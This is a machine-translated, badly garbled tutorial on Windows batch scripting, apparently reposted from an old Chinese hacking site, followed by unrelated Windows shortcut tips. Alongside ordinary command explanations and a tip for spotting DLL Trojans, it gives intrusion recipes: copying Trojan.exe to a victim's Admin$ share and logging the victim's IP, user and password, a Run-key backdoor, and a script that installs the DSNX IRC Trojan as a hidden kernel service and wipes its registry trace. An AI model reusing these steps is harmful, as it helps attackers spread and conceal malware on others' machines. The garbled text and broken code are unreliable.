Advanced application of batch processing

xiaoxiao2021-03-06  65

Advanced Application of Batch 1 1. Simple batch of internal command batch of advanced use! ! Tips! ! ! Everyone is very familiar! The following introduction to several knowledge points of batch: 1: Use the FC command to check the Tutan tool: first establish a batch file ATM.BAT: Write code: @echo off dir c: / windows / system32 / *. EXE> C : ??. TXT DIR C: / Windows / System32 / *. DLL> C: ??. TXT 2: Create Batch File WLTS.BAT Write Code: @echo off dir c: / windows / system32 / *. DLL > c: /findexe.txt dir c: / windows / system32 / *. EXE> C: /FINDDLL.TXT FC C: ??. txt c: /findexe.txt> c: /exe.txt FC C: ?? .txt c: /finddll.txt> c: /dll.txt This will then run atm.bat on your machine after you suspect that there is a Trojan run WLTS.BAT and then in C: /exe.txt and dll.txt Look, you can see suspicious files! This is just a thinking! ! You can also use him to clear the junk file left when you uninstall the software! For example, in the registry! 2: Make a hard drive with the subste command! Example Subst x: C: ?? Where X is the folder 111 for the creation of the drive, 3: Use the subst command to hide 3.5 Drive Subst H: C: / ATM and put the ATM folder to read only! Restore: At the beginning - run -subst a: / d! !

1.echo command opens back or off request back function, or displays a message. If there is no parameters, the echo command will display the current echo setting. Syntax Echo [{ON | OFF}] [Message] Sample: @echo off / echo hello world In practical applications, we will combine this command and redirect symbol (also known as pipe symbol, generally> >> ^) To enable input some commands to a specific format. This will be reflected in the later examples. 2. The @ command indicates that the @ later command is not displayed during the intrusion process (for example, using batch to format the enemy's hard drive) naturally not let the other party see the command you use. Sample: @echo off @echo now initializing the program ... @format x: / q / u / autoset (format This command can not use / y, the grateful is Microsoft left This parameter is the same as us, the effects, and / y is the same.) 3.GOTO command specifies that the jump to the label. After finding the label, the program will process the command starting from the next row. Syntax: goto label (Label is the parameter, specifies the row in the batch program you want to turn.) Sample: if {% 1} == {} goto noparms if {% 2} == {} goto noparms (if IF here ,% 1,% 2, you don't understand, first jump, there will be detailed explanation. But it is best to make sense letters, let a letter before: It is used to indicate that this letter is a label, and the goto command is based on this: to find the next step to jump there. It is best to have some explanation that you will understand your intentions. 4.Rem Command Comment command, quite with / * in the C language -------- * /, which does not be executed, just a comment, easy to read and modify it later. Rem message sample: @Rem Here is the description. 5.pause command When you run the PAUSE command, the following message will be displayed: press any key to turnue.. Sample: @echo off: begin copy a: *. * D: / BACK Echo Please Put A New Disk Into Driver a Pause Goto Begin In this example, all files on the disk in the drive A are copied to D: / back. Display Note Tips When another disk is placed in the drive A, the PAUSE command will hang the program so that you can replace the disk and press any key to continue processing. 6.Call Command From a batch program to another batch program and does not terminate the parent batch program. The call command accepts the label used as calling the target. If you use Call outside the script or batch file, it will not work on the command line. Syntax Call [[DRIVE:] [PATH] FILENAME [BATCHPARETERS]] [: label [arguments]] parameter [drive:} [path] filename Specifies the location and name of the batch program to be called.

The filename parameter must have a .bat or .cmd extension. The 7.start command calls an external program, all DOS commands and command line programs can be called by the start command. Intrusion Common Parameters: MIN Starting Window Minimizes Separate Separated Space In Separated Space Time 16 WINDOWS Program High In the High Priority Category Start Application RealTime Start the application WAIT launch application and wait for it to end Parameters These The application that is transmitted to the parameter executed by the command / program is a 32-bit GUI application, and the cmd.exe does not equal the application to the command prompt. If executed within the command script, the new behavior will not happen. 8.choice Command Choice Use this command to allow users to enter a character to run different commands. When using, you should add / c: parameters, C: After you should write the prompt that the characters can be entered, there is no space. Its return code is 1234 ..., such as: Choice / CME DEFRAG, MEM, END will display DEFRAG, MEM, END [D, M, E]? Sample: sample.bat is as follows: @echo off choice / cme defrag, MEM, END IF ERRORLEVEL 3 GOTO DEFRAG (The highest value of the highest value first) IF Errotlevel 1 Goto Mem if Errotlevel 1 Goto End Efrag C: / DOS / DEFRAG GOTO end: MEM MEM GOTO end: End echo good by this file run After the DEFRAG, MEM, END [D, E]? The user can select DME, and then the IF statement will make a judgment, and D represents the block segment that executes the label DEFRAG, and m represents a block, E of the label MEM. Indicates a block that executes the label End, and each block is finally jumped to the END Number with goto End, and then the program will display good Bye, the file ends.

Advanced Application of Batch 2 3. How to use the Compound Command 1. & usage: The first command & second command [& Article 3 Commands ...] can perform multiple commands at the same time Regardless of whether or not the order is executed Sample: C: C: C: /> DIR Z: & Dir C: / Ex4rch the system cannot Find the path specified. Volume in Drive C Has No Label. Volume Serial Number IS 0078-59FB Directory of C: / EX4RCH 2002-05-14 23:51

. 2002-05-14 23:51 .. 2002-05-14 23:51 14 Sometips.gif 2. && usage: First Command && Second Ordered [&& Arts Command ...] Use this method to perform multiple commands simultaneously, and will not perform the following commands after touching the error, if there is no error, it has been executed all commands; SAMPLE : C: C: /> Dir Z: && Dir C: / Ex4rch The System Cannot Find The Path Specified. C: /> DIR C: VOLUME IN DRIVE C HAS NO LABEL. VOLUME Serial Number IS 0078-59FB Directory of C: / EX4RCH 2002-05-14 23:55 . 2002-05-14 23:55 .. 2002-05-14 23:55 14 Sometips.gif 1 File (s) 14 bytes 2 Dir (s) 768, 671, 744 Bytes Free The System Cannot Find The Path Specified. It may be relatively simple when doing backup, such as: Dir file: //192.168.0.1/Database/backup.mdb && copy File: //192.168.0.1/DATABASE/backup.mdb E: / backup If there is a backup.mdb file on the remote server, the copy command is executed if there is no file, and the copy command is not executed. .

This usage can replace if EXIST :) 3. || USAGE: 1 command || Second command [|| Article 3 Commands ...] Use this method to perform multiple commands at the same time, when touching After performing the correct command, the following command will not be executed. If there is no correct command, all commands have been executed; sample: c: / ex4rch> Dir Sometips.gif || Del Sometips.gif Volume In Drive C Has No Label Volume Serial Number IS 0078-59FB Directory of C: / EX4RCH 2002-05-14 23:55 14 Sometips.gif 1 File (s) 14 BYTES 0 DIR (s) 768, 696, 320 BYtes Free Combination Command Used: Sample: @ Copy Trojan.exe //% 1 / Admin $ / SYSTEM32 && IF NOT Errorlevel 1 Echo IP% 1 User% 2 Pass% 3 >> Victim.txt No.4 444444444440 Article 2 Commands [| Article 3 Commands ...] Use the results of the first command as the parameters of the second command, remember to be common in this way in Unix. Sample: Time / >D: /ip.log netstat -n -p TCP | Find ": 3389" >> D: /ip.log start expected? Used for Terminal Services Allows us to customize the starting program for users to achieve the following BAT to get the IP of the login user. 2. >> Output Redirection command Redirects a command or an output result of a program to a specific file,> and >> Differences in>> Write the specified file after the contents in the file And >> Only the content will be added to the specified file without changing the content. Sample1: echo hello world> c: /Hello.txt (stupid eXample?) Sample2: DLL Trojan is prevalent, we know that SYSTEM32 is a good place to catch a hide, and many Trojans have turned the head to drill there. DLL Horse is no exception. For this, we can make a record on the EXE and DLL files under this directory after installing the system and the necessary applications: Run the CMD - Convert directory to System32 - Dir * .exe> ​​EXEBACK.TXT & DIR * .dll> DLLBACK.TXT, so all the names of all EXE and DLL files are recorded in ExeBack.txt and DLLBACK.TXT, if they find abnormalities, if they find out, if they can be found with traditional methods, they should consider whether they are considered. The system has sneaked into the DLL Trojan. At this time, we record the exe and dll files under System32 with the same command to DLLBACK1.TXT, then run: cmd - fc execk.txt exeback1.txt> Diff.txt & FC DLLBACK.TXT DLLBACK1.TXT> Diff.txt. (with the FC command compares the DLL and EXE files before and after, and enter the result into Diff.txt), so we can find some more DLL and EXE files, and then easily determine whether it has been patron with DLL Trojans by viewing the creation time, version, whether or not compressed, etc.

No, if there is any words, don't drop it directly, first use the regsvr32 / u trojan.dll to remove the back door DLL file, move it to the recycle station, if the system does not exception reflection, then completely delete or Submit to anti-virus software. 3. <,> &, <& & To write the output of a handle to another handle. <& Joint input from one handle and writes it to another handle output. These are not commonly used, and there is not much introduction. No.5 5. How to use batch files to * Make registration forms frequently returns a specific key value for the registry during the intrusion, for example, in order to achieve hidden backdoors, Trojans remove Run's residual Key value. Or create a service to load the back door. Of course, we will also modify the registry to reinforce the system or change a property of the system, which requires us to have a certain understanding of the registry *. Let's take a look at how to use .reg files * make registry. (We can use batch to generate a REG file) About the registry *, common is to create, modify, delete. 1. Creating a creation is divided into two kinds, one is to create a child (Subkey) We create a file, the content is as follows: Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Hacker] Then execute this script, you are already in hkey_local_machine The child created a name "Hacker" under / Software / Microsoft. The other is to create a project name that this file format is a typical file format, which is consistent with the file format you exported from the registry. The content is as follows: Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Run] "infader" = "ex4rch" "door" = c: //winnt/system32//door.exe "autodos" = dword: 02 This is in [HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Run] Newly built: Invader, Door, About These three projects INVADER type is "String Value" Door type is "Reg Sz Value" Autodos type is "dword value"

2. Modify modification is relatively simple, just export you to the project you need to modify, then modify it with Notepad, then import (regedit / s). 3. Delete Let's first delete a project name, we create a file: Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Run] "EX4RCH" = - Execute this script, [HKEY_LOCAL_MACHINE / "EX4RCH" under Software / Microsoft / Run] is deleted; let's take a look at the delete a child, we create a script: Windows Registry Editor Version 5.00 [-HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / WINDOWS / Currentversion / run] Execute this script, [HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Run] has been deleted. I believe it is .reg files you have already mastered. Then the current goal is to use batch to create a .reg file, remember that our previous use of redirect symbols can easily create specific types of files. Samlpe1: As the following example, if you want to generate the following registry file Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Run] "Invader" = "EX4RCH" "Door" = HEX: 255 "Autodos" = dword: 000000128 just like this: @echo Windows Registry Editor Version 5.00 >> Sample.reg @echo [HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Run]> Sample.reg @echo "Invader" = "Ex4rch" >> Sample.reg @echo "door" = 5 >> c: //winnt//system32//door.exe >> sample.reg @echo "autodos" = DWORD: 02 >> Sample.REG

Samlpe2: When we use some old Trojans, we may generate a key value to realize the Trojan's Start. But this is easy to expose the path to Trojans, causing the Trojan to be killing, relatively safe relative to the registration of Trojans as a system service. Below to configure the IRC Trojan DSNX as an example (named Windrv32.exe @start windrv32.exe @Attrib h r windrv32.exe @echo [hkey_local_machine / Software / Microsoft / Windows / CurrentVersion / Run] >> Patch.dll @echo "Windsnx" = - >> Patch.dll @sc. exe create Windriversrv type = kernel start = auto displayname = WindowsDriver binpath = c: /winnt/system32/windrv32.exe @regedit / s patch.dll @delete patch.dll @REM [delete DSNXDE startup items in the registry, with SC.EXE is registered as a system-critical service to set its properties to hide and read only, and config is started from starting] @rem is not a safer ^ _ ^. Some very good skills! (Can be called classic)

1. If there are multiple windows to open, if you want to close, you can press and hold the Shift and click Close Icon in the upper right corner of the window. 2. You can press the "ESC" button before saving the page (or offline) Save, so that it is so fast 3. Use the computer to listen to the CD. Do not have any play software, connect the speaker line directly to the optical drive's headphone hole, put it in the CD, press the PLAY button on the CD-ROM to listen directly, so listen to songs Can not occupy system resources. (If your computer is broken, you can't start or, what you can't repair it, don't waste resources, put the power supply in the use of the power to the optical drive, you can temporarily do the CD machine. 4.msn When you send a message, you can press Enter. If you want to change the wrap, you can Shift Enter or Ctrl Enter 5. The browser's address bar can debug a short HTML code. The method is as follows: Address bar Write about: ABC Entering, you will see the effect. 6.Windows shortcut: WIN M Show desktop WIN PAUSE system properties Quick restart: press SHIFT before determining (not suitable for 2k, xp). Remove Hift Del Let the disc automatically run: Press SHIFT CTRL ESC: Equivalent to "Start" or WIN button Ctrl Home: Move the cursor to the beginning of the text editing area (Home Single: Move to List) Ctrl End: Put the light The end point of the text editing area (End single: move to the column of column) Alt F4: Close the current window (if you click on the desktop again, it is turned off) F2: Change the name Windows E Export Manager. Windows R runs. Windows f lookup. Windows U turn off the system. Windows D minimizes all windows, then press Win D to return the window before minimizing the window. Windows M minimizes all windows, but then click once to return to the minimum The previous window. SHIFT F10, you can open the right-click menu of the selected item. Press and hold the Ctrl Shift Drag file: Create a shortcut. 7. Shuttle shortcut (1). Right click on the desktop blank position -> < New> -> Select (2). In the Type Rundll.exe User.exe, ExitWindows (3). In

CopyRight © 2020 All Rights Reserved
Processed: 0.048, SQL: 9